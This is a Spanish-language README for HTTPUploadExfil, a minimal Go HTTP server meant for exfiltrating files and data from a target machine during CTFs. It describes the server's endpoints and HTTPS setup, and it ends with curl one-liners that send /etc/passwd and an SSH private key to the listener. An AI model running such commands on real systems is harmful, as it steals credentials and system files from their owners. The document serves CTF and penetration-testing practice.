
Un servidor HTTP simple para entregar y extraer archivos/datos durante, por ejemplo, CTFs.
HTTPUploadExfil es un servidor HTTP (muy) simple escrito en Go, útil para extraer archivos (y otra información) de una máquina usando HTTP. Aunque tiene muchos casos de uso, está pensado para usarse en escenarios ofensivos de bajo riesgo (por ejemplo, CTFs).
Piénsalo como python3 -m http.server pero para sacar datos de una máquina en lugar de ponerlos en ella.
Obviamente, esta es una forma muy ruidosa y algo limitada de extraer datos. Sin embargo, resulta bastante práctica y algo más fácil que, por ejemplo, usar SMB o FTP. Si buscas algo más elegante, échale un vistazo a, por ejemplo, dnsteal o PyExfil.
go build../httpuploadexfil :1337 /home/kali/loot en tu máquina.http://TU_IP:1337/ desde la máquina de la que necesitas extraer datos./home/kali/loot.Si necesitas HTTPS, mira la información más abajo.
También puedes descargar binarios para Linux y Windows desde GitHub. Sin embargo, estos binarios no representan necesariamente los cambios más recientes.
Aunque hay binarios disponibles, se recomienda compilarlo tú mismo. Así tendrás la versión más reciente y sabrás exactamente qué estás ejecutando. El proceso es trivial:
Simplemente ejecuta go build dentro de la carpeta y obtendrás un ejecutable httpuploadexfil para tu plataforma.
Si haces cambios en la herramienta, recuerda formatear con go fmt main.go.
Alternativamente, también puedes usar make para compilar la herramienta. También puedes ejecutar make cert para generar certificados SSL (ver más abajo).
El caso de uso más común sería ejecutar el servidor en la Máquina A. Luego, desde la Máquina B accedes al formulario de subida usando un navegador y seleccionas un archivo para extraer. Por supuesto, como se muestra a continuación, esto también se puede hacer con, por ejemplo, curl.
Además de subir archivos, también puedes usar HTTPUploadExfil para extraer datos mediante simples peticiones GET. Si se envía una petición al endpoint /g, toda la petición se almacenará en disco.
Por lo tanto, puedes extraer datos usando la cabecera de la petición. La forma más sencilla es usar parámetros GET (por ejemplo, ?data=...), pero hay otras opciones.

Por defecto, HTTPUploadExfil se sirve en el puerto 8080. Todos los archivos se escribirán en el directorio actual.
./httpuploadexfil
También puedes proporcionar algunos argumentos:
./httpuploadexfil :1337 /home/kali/loot
Si necesitas registro de peticiones, pasa la bandera -log de la siguiente manera:
./httpuploadexfil -log
El primer argumento es una dirección de enlace, el segundo la carpeta donde almacenar los archivos.
La herramienta también expondrá los archivos del directorio loot bajo el endpoint /l. Esto puede usarse como una forma fácil de llevar archivos al objetivo.
El servidor web expone cuatro endpoints para que los uses:
/ (GET) es el formulario de subida./p (POST) recibe los datos del formulario de subida. Requiere una petición multipart/form-data con el campo file relleno./g (GET) tomará cualquier petición GET y almacenará la petición completa en el servidor./l (GET) proporcionará acceso a los archivos en la carpeta especificada (listado de directorios). Esto es para ofrecer funcionalidad básica de python3 -m http.server.HTTPUploadExfil también puede usarse en modo HTTPS. Para ello, simplemente coloca los archivos HTTPUploadExfil.csr y HTTPUploadExfil.key junto al binario. Estos se pueden generar, por ejemplo, de la siguiente manera:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
Para hacer esto, también puedes ejecutar make cert.
Si el servidor detecta un archivo HTTPUploadExfil.csr, intentará iniciar en modo HTTPS. Para volver a HTTP, simplemente elimina o renombra los archivos de certificado.
Usando Bash, podemos extraer datos mediante GET por ejemplo:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
Por supuesto, también podemos usar curl para extraer archivos:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server)